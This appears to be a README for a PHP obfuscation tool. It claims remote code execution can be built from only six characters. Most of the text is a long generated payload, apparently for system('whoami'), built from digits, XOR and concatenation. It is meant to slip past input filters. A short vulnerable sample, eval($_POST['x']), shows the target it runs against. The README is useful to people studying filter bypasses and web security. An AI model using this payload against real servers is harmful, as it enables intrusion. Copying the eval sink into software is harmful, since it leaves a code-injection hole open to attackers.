phpfuck-6characters
@Y4tacker
Description:
only 6 characters to rce
( ) ^ 9 . ;
Useage
php 6character-rce.php system(\"whoami\");
(((((99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.99
99999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((
.999999999999999).(.999999999999999).((9.9999999999999999^9)^((.999999999999999)^(9^((.999999999999999).(.999999999999999)))^(9.9999999999999999^9^99.999999999999999^99)))))).
((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.999
9999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.
999999999999999).(9^((.999999999999999).(.999999999999999))).(.999999999999999)))).((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.999
9999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).((9.9999999999999999^9)^((.999999999999999)^(9^((.999999
999999999).(.999999999999999)))^(9.9999999999999999^9^99.999999999999999^99)))))).((((99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999
999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).((.999999999999999)^(9^((.999999999999999).(.999999999999
999)))^(9.9999999999999999^9^99.999999999999999^99))))).((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.99999999
9999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^9).(.999999999999999)))).((((9999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.99999999999999
99))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^9).(9)))))(((((999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((
99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).(9)))).
((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.999
9999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.
999999999999999).(9^9).(9.9999999999999999^9^99.999999999999999^99)))).((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.999999999999999
9^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).(.999999999999999)))).((((999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99)
.(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((9).((9.9999999999999999^9)^(9.9999999999999999^
9^99.999999999999999^99))))).((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(
(9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(
9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^9).(9)))).((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.99999
9999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^9).((9.9999999999999999^9)^((.999999999999999)^(9^((.999999999999999).(.999999999999999)))^(9.99
99999999999999^9^99.999999999999999^99)))))))
Result
with coding here:
maybe 6 characters :P
<?php
eval($_POST['x'].";");